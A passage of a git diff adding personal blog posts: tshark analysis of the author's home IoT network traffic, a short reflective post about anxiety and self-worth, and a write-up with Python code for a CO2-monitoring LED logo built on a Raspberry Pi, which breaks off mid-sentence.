dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1 +ipv4 2 udp 17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1 +ipv4 2 tcp 6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1 +ipv4 2 udp 17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 [ASSURED] mark=0 use=1 +ipv4 2 udp 17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1 +ipv4 2 udp 17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1 +ipv4 2 udp 17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1 +ipv4 2 tcp 6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1 +ipv4 2 tcp 6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1 +``` + +### 5) Part of Raw packet capture + +- What’s inside? +```bash +tshark -r iot_ap_120s.pcap -q -z io,stat,60 + + +================================== +| IO Statistics | +| | +| Duration: 119.773534 secs | +| Interval: 60 secs | +| | +| Col 1: Frames and bytes | +|--------------------------------| +| |1 | +| Interval | Frames | Bytes | +|--------------------------------| +| 0 <> 60 | 400 | 60449 | +| 60 <> Dur | 24672 | 30179911 | +================================== +``` + +- Protocol hierarchy (what kinds of traffic?) +```bash +❯ tshark -r iot_ap_120s.pcap -q -z io,phs + +=================================================================== +Protocol Hierarchy Statistics +Filter: + +eth frames:25072 bytes:30240360 + ip frames:24706 bytes:30195993 + udp frames:349 bytes:94583 + mdns frames:241 bytes:60693 + data frames:32 bytes:2240 + quic frames:76 bytes:31650 + quic frames:2 bytes:2484 + tcp frames:24353 bytes:30101226 + tls frames:2413 bytes:3493680 + tcp.segments frames:2256 bytes:3378795 + tls frames:2222 bytes:3353799 + data frames:147 bytes:71717 + tcp.segments frames:5 bytes:7550 + igmp frames:4 bytes:184 + arp frames:150 bytes:6300 + ipv6 frames:216 bytes:38067 + icmpv6 frames:124 bytes:10704 + udp frames:79 bytes:25415 + data frames:2 bytes:132 + mdns frames:77 bytes:25283 + tcp frames:13 bytes:1948 + data frames:1 bytes:90 +=================================================================== +``` + +- Top IP conversations (who talked to whom?) +```bash +❯ tshark -r iot_ap_120s.pcap -q -z conv,ip +================================================================================ +IPv4 Conversations +Filter: + | <- | | -> | | Total | Relative | Duration | + | Frames Bytes | | Frames Bytes | | Frames Bytes | Start | | +192.168.50.202 <-> 17.253.37.195 19588 29 MB 3912 286 kB 23500 29 MB 72.555738000 21.8560 +192.168.50.1 <-> 192.168.50.202 239 74 kB 238 46 kB 477 120 kB 0.293866000 119.4797 +192.168.50.1 <-> 224.0.0.251 0 0 bytes 118 28 kB 118 28 kB 0.000000000 119.7310 +192.168.50.202 <-> 1.1.1.1 40 20 kB 36 10 kB 76 31 kB 72.033321000 30.3367 +192.168.50.202 <-> 2.19.120.151 47 44 kB 29 8,460 bytes 76 53 kB 72.062807000 14.8525 +192.168.50.202 <-> 17.56.138.35 27 7,602 bytes 33 13 kB 60 20 kB 72.107270000 15.0196 +192.168.50.202 <-> 17.253.53.203 17 7,040 bytes 23 9,256 bytes 40 16 kB 72.326823000 10.5130 +192.168.50.202 <-> 54.217.122.41 19 6,271 bytes 18 6,122 bytes 37 12 kB 102.352119000 0.3678 +192.168.50.202 <-> 17.253.53.202 19 22 kB 17 3,099 bytes 36 25 kB 81.940717000 0.3208 +192.168.50.202 <-> 23.58.105.122 19 9,936 bytes 16 5,759 bytes 35 15 kB 72.225431000 9.6434 +192.168.50.104 <-> 255.255.255.255 0 0 bytes 32 2,240 bytes 32 2,240 bytes 50.628126000 65.2664 +17.242.218.132 <-> 192.168.50.202 12 1,701 bytes 13 1,802 bytes 25 3,503 bytes 20.967857000 62.0463 +192.168.50.189 <-> 3.122.71.119 8 639 bytes 13 978 bytes 21 1,617 bytes 1.112174000 108.8174 +192.168.50.131 <-> 224.0.0.251 0 0 bytes 20 6,092 bytes 20 6,092 bytes 19.033978000 79.6932 +192.168.50.118 <-> 224.0.0.251 0 0 bytes 20 6,092 bytes 20 6,092 bytes 79.030835000 19.7664 +192.168.50.233 <-> 224.0.0.251 0 0 bytes 20 6,052 bytes 20 6,052 bytes 79.031250000 19.7814 +192.168.50.196 <-> 18.196.19.65 8 570 bytes 10 678 bytes 18 1,248 bytes 4.963201000 107.5242 +192.168.50.216 <-> 224.0.0.251 0 0 bytes 12 3,880 bytes 12 3,880 bytes 98.049857000 4.2949 +192.168.50.134 <-> 161.117.178.131 5 391 bytes 4 960 bytes 9 1,351 bytes 15.392290000 60.5936 +192.168.50.202 <-> 192.168.50.189 4 1,300 bytes 4 312 bytes 8 1,612 bytes 26.274469000 93.2919 +192.168.50.202 <-> 192.168.50.118 2 406 bytes 4 402 bytes 6 808 bytes 17.999757000 60.1593 +192.168.50.202 <-> 192.168.50.131 2 406 bytes 4 402 bytes 6 808 bytes 17.999812000 60.1593 +192.168.50.202 <-> 192.168.50.233 2 406 bytes 4 402 bytes 6 808 bytes 17.999825000 60.1592 +192.168.50.202 <-> 192.168.50.196 3 975 bytes 3 234 bytes 6 1,209 bytes 30.223646000 89.3442 +192.168.50.216 <-> 192.168.50.233 4 888 bytes 2 162 bytes 6 1,050 bytes 98.322145000 0.1456 +192.168.50.216 <-> 192.168.50.202 1 1,092 bytes 4 336 bytes 5 1,428 bytes 98.319211000 0.2939 +192.168.50.216 <-> 192.168.50.1 0 0 bytes 5 455 bytes 5 455 bytes 98.319329000 0.2505 +192.168.50.202 <-> 17.253.53.201 2 148 bytes 2 132 bytes 4 280 bytes 81.716483000 1.0465 +192.168.50.202 <-> 192.168.50.104 2 818 bytes 2 156 bytes 4 974 bytes 87.030561000 0.0107 +192.168.50.216 <-> 192.168.50.131 3 718 bytes 1 75 bytes 4 793 bytes 98.321918000 0.1421 +192.168.50.216 <-> 192.168.50.118 3 718 bytes 1 75 bytes 4 793 bytes 98.322266000 0.1420 +192.168.50.216 <-> 17.57.146.25 1 90 bytes 2 172 bytes 3 262 bytes 98.048979000 0.0384 +192.168.50.216 <-> 192.168.50.134 2 790 bytes 1 75 bytes 3 865 bytes 98.321779000 0.2550 +192.168.50.216 <-> 224.0.0.2 0 0 bytes 2 92 bytes 2 92 bytes 98.049757000 0.0001 +192.168.50.216 <-> 10.172.72.196 1 66 bytes 1 70 bytes 2 136 bytes 98.664295000 0.0060 +================================================================================ +``` + +- Fast “top talkers” table (by source IP) +```bash +❯ tshark -r iot_ap_120s.pcap -T fields -e ip.src -e frame.len \ + | awk 'NF==2{b[$1]+=$2} END{for (h in b) printf "%-16s %12d\n", h, b[h]}' \ + | sort -k2,2nr | head -n 20 +17.253.37.195 29540349 +192.168.50.202 422414 +192.168.50.1 75521 +2.19.120.151 44554 +17.253.53.202 22016 +1.1.1.1 20675 +23.58.105.122 9936 +17.56.138.35 7602 +192.168.50.233 7346 +192.168.50.118 7216 +192.168.50.131 7216 +17.253.53.203 7040 +54.217.122.41 6271 +192.168.50.216 5392 +192.168.50.104 3058 +192.168.50.189 2278 +17.242.218.132 1802 +192.168.50.134 1750 +192.168.50.196 1653 +3.122.71.119 639 +``` + +- DNS & mDNS highlights (what names show up?) +```bash +# DNS queries (unicast) +❯ tshark -r iot_ap_120s.pcap -Y "dns.flags.response==0" \ + -T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20 +Nov 23, 2025 11:48:38.131162000 CET 192.168.50.1 _hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local +Nov 23, 2025 11:48:42.961690000 CET 192.168.50.1 _hap._tcp.local +Nov 23, 2025 11:48:42.962245000 CET 192.168.50.1 _companion-link._tcp.local +Nov 23, 2025 11:48:42.962911000 CET 192.168.50.1 _hap._udp.local,_rdlink._tcp.local +Nov 23, 2025 11:48:43.098378000 CET 192.168.50.1 MSS110-f691._hap._tcp.local +Nov 23, 2025 11:48:43.158641000 CET 192.168.50.1 Qingping Air Monitor Lite._hap._tcp.local +Nov 23, 2025 11:48:43.201440000 CET 192.168.50.202 _companion-link._tcp.local +Nov 23, 2025 11:48:43.532623000 CET 192.168.50.1 MSS110-080d._hap._tcp.local +Nov 23, 2025 11:48:43.962673000 CET 192.168.50.1 _hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local +Nov 23, 2025 11:48:49.110167000 CET 192.168.50.1 _hap._tcp.local +Nov 23, 2025 11:48:49.110760000 CET 192.168.50.1 _companion-link._tcp.local +Nov 23, 2025 11:48:49.111395000 CET 192.168.50.1 _hap._udp.local,_rdlink._tcp.local +Nov 23, 2025 11:48:49.272920000 CET 192.168.50.1 Qingping Air Monitor Lite._hap._tcp.local +Nov 23, 2025 11:48:49.311002000 CET 192.168.50.1 MSS110-0ba7._hap._tcp.local +Nov 23, 2025 11:48:49.619376000 CET 192.168.50.1 Main Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local +Nov 23, 2025 11:48:50.115506000 CET 192.168.50.1 _hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local +Nov 23, 2025 11:48:55.037844000 CET 192.168.50.1 _hap._tcp.local +Nov 23, 2025 11:48:55.038380000 CET 192.168.50.1 _companion-link._tcp.local +Nov 23, 2025 11:48:55.038926000 CET 192.168.50.1 _hap._udp.local,_rdlink._tcp.local +Nov 23, 2025 11:48:55.060503000 CET 192.168.50.202 _companion-link._tcp.local + +# mDNS service announcements (AirPlay/HomeKit live here) +❯ tshark -r iot_ap_120s.pcap -Y "udp.port==5353 && dns" \ + -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \ + | head -n 30 +``` + +The latter had no output as I wasn't able to make that work with a static route and relied on Tailscale. (?) + +- TLS SNI (which cloud endpoints?) +```bash +❯ tshark -r iot_ap_120s.pcap -Y "tls.handshake.extensions_server_name" \ + -T fields -e ip.dst -e tls.handshake.extensions_server_name \ + | sort | uniq -c | sort -k1,1nr | head -n 20 + 1 1.1.1.1 one.one.one.one + 1 17.253.37.195 streamingaudio.itunes.apple.com + 1 17.253.53.202 pancake.apple.com + 1 17.253.53.203 radio-activity.itunes.apple.com + 1 17.56.138.35 cma.itunes.apple.com + 1 2.19.120.151 play.itunes.apple.com + 1 23.58.105.122 librarydaap.itunes.apple.com + 1 54.217.122.41 guzzoni.apple.com +``` + +- Ports in use (quick heat check) +```bash +❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \ + | awk '{for(i=1;i<=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf "%-8s %8d\n", k, p[k]}' \ + | sort -k2,2nr | head -n 20 +64725 19588 +443 4086 +5353 318 +49395 109 +7000 109 +55514 102 +55510 101 +64721 47 +54806 40 +20002 32 +64722 27 +8883 23 +49154 21 +55515 21 +64723 19 +64728 19 +64729 19 +5223 14 +64724 14 +64686 13 +``` + + +--- + +## Epilogue +I've been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let's cross our fingers and hope this setup finally works nicely. + + + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/house_upgrade.md.asc b/public-clearnet/sources/posts/house_upgrade.md.asc new file mode 100644 index 0000000..3ef20c0 --- /dev/null +++ b/public-clearnet/sources/posts/house_upgrade.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM +jSr4mxAAr6wizjfSiJPTCywZaFD7DpF1QqVL5N2r7+W6iPkxjXU5ju4yaRyJ3LGP +ob51GUAPqSstrTZUJRIQs54MQMqL0WNBiesVSDXlT+cqAgRVN4SaYrRg+dV+kRCA +dnFuXXJBvo9y/QYk+SR4F2I9SeqsOQ2V0H2SxndLQAVI318VRbJLwaZF5XHLU8Ax +a/+sOpjI2bGgTCW6P2r97PaXyde9Itkdp0LBN2JfkXfmzdY1JdjPdaNmUZuY3N6J +HO4MfBUYX33RLmq/CSDm5wzOQRi1O9wt63CWJzzsZuZACbmuJ0gZHYM5JIBHXtnZ +wgdtfu31ulnFPVfoIVjCCcN80kWlh671ONKQTZOysknFonm5pIUJnOcCQ4S3HfIm +Of5kojUQegInp84ju4yYKCMh115yB05XTyrhf62NouGQVGSBmNBwgFZe4kbfqZ4w +xsAfFOpk6niLqZTX1NmgaXeBcalFU2yOzIEH4dXu7OSZmN3UUznAxw4SciD0+HW+ +T7RjrniAIgX3fFlqIexoDbCa6T2g8Gd00zBzHG65pO4mwAuFL4KB0xLU8KIz6L7M +aMFcFVAuq8GdqBbn6mRQ3UwFkOIjq+WbAgvxDJprxI9jBafm6IVXrISyHx0mYfnP +OAFDAL768GiHQz7LIB/lLa0qAT6Hs28JZ3/czfGPwVNthFp8tA0= +=bk46 +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/how_I_am_doing.md b/public-clearnet/sources/posts/how_I_am_doing.md new file mode 100644 index 0000000..162d831 --- /dev/null +++ b/public-clearnet/sources/posts/how_I_am_doing.md @@ -0,0 +1,32 @@ ++++ +title = 'How am I doing?' +date = 2025-12-15T08:27:13Z +draft = false ++++ + +This constant feeling of how people think about me, how they view me, what is happening with them is killing me. +I'm interpretting every little move, every action, every response as me being in trouble. +Not only is it exhausting, but also it's draining me. +Draining me of happiness, being in pursuit of happyness. + +Idk what is wrong with me. Idk why I can't let go. I don't know why I need so much closure. Idk. I really don't. +What I know is that I'm mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life. +Someone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved. + +This "others" in my mind is killing me. It is so annoying to pursue people who do not give the slightest of shit about me. That has been me in the past many months. +Ever since February 17th. That disgusting day. The day that was the result of last Friday of that Monday. The regrets. The sadness. The drainage. + +Idk what to do. I feel like I'm stuck in this life that I don't like, with so much that I love. Does this even make sense? Idk. +I know I'm full of love, and I'm willing to give it to someone. + +Few things lie. First, do I love myself? I want to say yes, but maybe the answer is no. I honestly don't know if I'm lying to myself or not. +Second, I know my therapist is worried for me. For how easy I can fall in the wrong people's hand, and how badly I could get hurt. + +He has been pushing me to solve the issue of others, and self love. To be fine with what I am, and what I have. To be fine with me. I need to work on this. +I need to write more. To express myself more. Maybe I manage to figure things out that I would not otherwise. Who knows. + + + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/how_I_am_doing.md.asc b/public-clearnet/sources/posts/how_I_am_doing.md.asc new file mode 100644 index 0000000..02952c1 --- /dev/null +++ b/public-clearnet/sources/posts/how_I_am_doing.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM +jSqEgw//dXtHJRA2465bo78N3Slu0EhJXFLkEItsdXbX8KVMOf3g0ezaBoCwtes8 +fDfzb4IHfsPgFef48NApWevoXC6nvwW1jd1ad6USS07lCcX+PXQMo5buZy8lvT+n +ozeDcN9Oul8t861nwbosGz8h3C6tWAilHxa3tKnTrlNs9RgcZXlE1yABUD8mO1xv +xHDoU5bYOwk7QvnxN83s4AXofVXOQfolxWrfH0zCCOxb5VauqPQxjKUHzx932MLG +m2F+aoxxgva28PxwvJp+yziid96fM8Y9nRaUWgusaAUrca1/GmmikfQJ2xe06G3n +bJePNiNU5SP49lvNzGfKKv8l07XfgOyksm4x55OYUh1e3i0ZlK00ULwu2yZr0dlO +tyfP3IqyeXJfiMtZznR9gVfrU8kuzwEoGy25rcAHuLmfuaGhAVCTFT+dSrD6Ls0d +T6baPwZTDnCz6dOvZB8g8jq5V2RsI9+FAe5FZSQzZ/iV0JMLHwB5eYwcWiWlJL7n ++J69MpQMCOh+S46y6YjNnK/gOCsMddTnN1cu9edWuoicNnM7ODn8w948fqMcv8yz +Ek0xuaY+o6luI4HoNKncCAgPmSvH6/Xjvt5qsqqBMlkBRFY8/bWW+7o9LB7VwLex +Bsy6Od/KW0X78XG0n1JnAw+kVQoaYWTWbXBV3CJ8n8dUaQn+ctw= +=NPxh +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/inet_logo.md b/public-clearnet/sources/posts/inet_logo.md new file mode 100644 index 0000000..4708824 --- /dev/null +++ b/public-clearnet/sources/posts/inet_logo.md @@ -0,0 +1,539 @@ + +--- +title: "INET Logo That Breathes — From CAD to LEDs to a Calm Little Server" +date: 2025-10-17 +tags: ["raspberrypi","ws2812","scd41","iot","flask","fabrication","soldering"] +cover: + image: /images/inet/inet_animation_collage.jpg + alt: "Six looks of the INET LED logo" + caption: "Design → print → solder → code → glow." +draft: false +--- + +> I didn’t add a warning sign to the room. I taught the **logo** to breathe. ;-D + +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it's not good at is **ventilating** itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! + +So I crafted the INET logo and gave it a 9-5 job: be a **polite barometer**. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood. + +This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I'll try to include as much detail as I can. + +--- + +## 1) Sketch → CAD → Print + +![Fusion design + logotype](/images/inet/inet_logo_fusion_merged.png) + +I started the way all sensible hardware projects start: with **overconfidence** and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall **I**, the curving **N**, three stacked bars for **E**, and the long arm of **T**. Each pocket got: + +- **Mounting bosses** for the front diffusers (M2 screws), +- **Cable holes** between chambers (rounded to avoid cutting silicone wire), and +- A small **wiring bay** for the controller and power. + +I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at **1-2 mm** thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing. + +The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it. + +--- + +## 2) The Look I Wanted + +![Animations collage](/images/inet/inet_animation_collage.jpg) + +I wasn't building a stage light. The goal was **calm**: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the **CO₂ monitor** in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I'm happy with it and want to let it be there doing it's job. + +--- + +## 3) The Tidy Mess Behind the Panel + +![Hardware collage](/images/inet/inet_hardware_collage.jpg) + +Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day: + +- A **330–470 Ω** series resistor on the *data* line right at the first pixel. It damps ringing and prevents weird flickers. +- A **1000 µF** electrolytic across **5V/GND** at the strip start. It handles inrush so the first LED doesn’t faint at boot. + +I route the strip **DIN → DOUT** through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check **before** power and bring brightness up slowly on a bench supply. + +The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won't be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD + +--- + +## 4) A Web Panel that Stays Out of the Way + +![UI collage](/images/inet/inet_ui_collage.jpg) + +The web UI is quiet on purpose: a single navbar, a `/control` page with big same‑size buttons, a `/schedule` table, a drag‑and‑drop `/calendar`, a `/status` page that updates once a second, and `/history` charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy. + +There’s also a **Safe Mode** switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it's not funny for anyone to fidn this out when looking at your creation. So... yea, I took precautions not to see people getting seizures looking at my creation. :-) + +--- + +## 5) The Color Language for Air + +The `co2_monitor` animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight: + +- **< 500 ppm**: Cyan — outdoor‑like fresh air. +- **500–799**: Green — good. +- **800–1199**: Yellow — getting stale. +- **1200–1499**: Orange — poor; you’ll feel it. +- **1500–1999**: Red — ventilate now. +- **≥ 2000**: Purple — the logo is politely yelling. + +I blend the readings with an **exponential moving average** and use **hysteresis** around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow **breathing brightness**. The result feels alive but never flashy. + +By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it's daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it's color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database. + +--- + + +## 6) The Code — a guided tour (no giant blob, promise) + +This whole project runs from a single Python file. Think of it like a tiny orchestra: +one thread conducts the **LEDs**, one listens politely to the **CO₂ sensor**, one keeps time as the **scheduler**, and a small **web server** hands you the baton when you want to improvise. + +Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross). + +--- + +### 6.1 Configuration (the knobs) + +Let's define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers. + +```python +LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255 +SCHEDULE_PATH="schedule.json" +DB_PATH="sensor.db" +SAFE_MODE=True # hide flashy animations by default +``` + +*Why it’s like this:* simple, explicit defaults → less “why is it dark” debugging. + +--- + +### 6.2 Strip setup + frame-diff (no flicker magic) + +Now initialize `rpi_ws281x.PixelStrip` and put a **shadow frame buffer** in front of it. + +```python +frame = [(0,0,0)] * LED_COUNT +_dirty = False + +def _set_pixel(i, r, g, b): + # only touch hardware if the value actually changed + if frame[i] != (r,g,b): + strip.setPixelColorRGB(i, r, g, b) + frame[i] = (r,g,b) + global _dirty; _dirty = True + +def flush(): + if _dirty: strip.show(); _dirty=False +``` + +*Why it’s like this:* LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call `show()` with identical data. + +--- + +### 6.3 A tiny color wheel helper + +Classic rainbow helper used by a few animations: + +```python +def wheel(pos): + # 0..255 → (r,g,b) + ... +``` + +*Why it’s like this:* I'll use it again and again; it keeps color math out of the animations. + +--- + +### 6.4 State & orchestration + +Let's hold a registry of animations, a stop flag, and the currently playing thread. + +```python +animations = {} +stop_event = threading.Event() +current_thread = None + +def register(name, safe=True): + def wrap(fn): + animations[name] = {"fn": fn, "safe": safe} + return fn + return wrap + +def run_animation(fn): + # cooperative hand-off: stop current, start next + if current_thread and current_thread.is_alive(): + stop_event.set(); current_thread.join() + stop_event.clear() + t = threading.Thread(target=fn, name=fn.__name__, daemon=True) + t.start(); globals()["current_thread"] = t +``` + +*Why it’s like this:* adding a new animation is a one-liner `@register("name")`. Clean exits prevent torn frames and half-drawn comets. + +--- + +### 6.5 Animations (the mood) + +Each animation is a loop that checks `stop_event.is_set()` and draws frames with `_set_pixel(...)` + `flush()`. + +- **`redpulse`** — calm breathing in red; great default. +- **`colorwave`** — slow rainbow that reads clearly behind diffusers. +- **`comet`** — a single head with a fading tail orbiting the logo. + +They all end with `finally: clear_strip()` so the panel doesn’t freeze on the last pose if you stop mid-frame. + +*Why it’s like this:* cooperative loops + frame-diff = smooth, interruption-safe effects. + +--- + +### 6.6 CO₂ color language (with smoothing + hysteresis) + +The star of the show. Now map ppm to color **bands** and keep transitions human-pleasant. + +- `< 500`: **Cyan** (fresh) +- `500–799`: **Green** +- `800–1199`: **Yellow** +- `1200–1499`: **Orange** +- `1500–1999`: **Red** +- `≥ 2000`: **Purple** + +```python +BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,∞,(123,44,191))] +EMA_ALPHA=0.15; HYST=35 + +# Every tick: +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2 +band = hysteresis_aware_band(ema, last_band, HYST) +target = BANDS[band].color +current = lerp(current, target, 0.10) # gentle hue easing +level = breathe(0.25 Hz, low=10, high=220) +draw all pixels = current * level +``` + +*Why it’s like this:* EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light. + +--- + +### 6.7 Optional SCD41 sensor thread (the polite listener) + +If the SCD41 is present, a **dedicated thread** owns I²C and updates a global `co2_data` dict every few seconds. It also logs to a tiny SQLite database. + +```python +def _start_sensor(): + try: + scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement() + except: return # sensor optional + def loop(): + while True: + time.sleep(5) + if scd4x.data_ready: + co2_data.update({...}) + db.insert(timestamp, co2, temperature, humidity) + threading.Thread(target=loop, daemon=True).start() +``` + +*Why it’s like this:* one thread owns the bus → no read contention. The controller keeps working even without a sensor. + +--- + +### 6.8 Scheduler + 90-minute override (humans win, then reset) + +A background thread asks, every few seconds, **which** mode should be running: + +1. If the user chose something recently (override), respect it for `TTL = 90 min` (or the duration set in the UI). +2. Otherwise, apply the **default schedule** (Wednesday 14–17 → `slow`, else `redpulse`). +3. Save/load the schedule atomically to `schedule.json`. + +```python +def scheduler_pick(): + if now < override_until: return override_mode + for row in load_schedule(): + if matches(now, row): return row["mode"] + return "redpulse" +``` + +*Why it’s like this:* you can play DJ for a meeting, and the room quietly returns to its routine afterward. + +--- + +### 6.9 The web panel (tiny Flask, big buttons) + +Three pages, no fuss: + +- `/status` — live JSON (`/status_data`) every second → current mode + CO₂/Temp/Humidity. +- `/control` — grid of 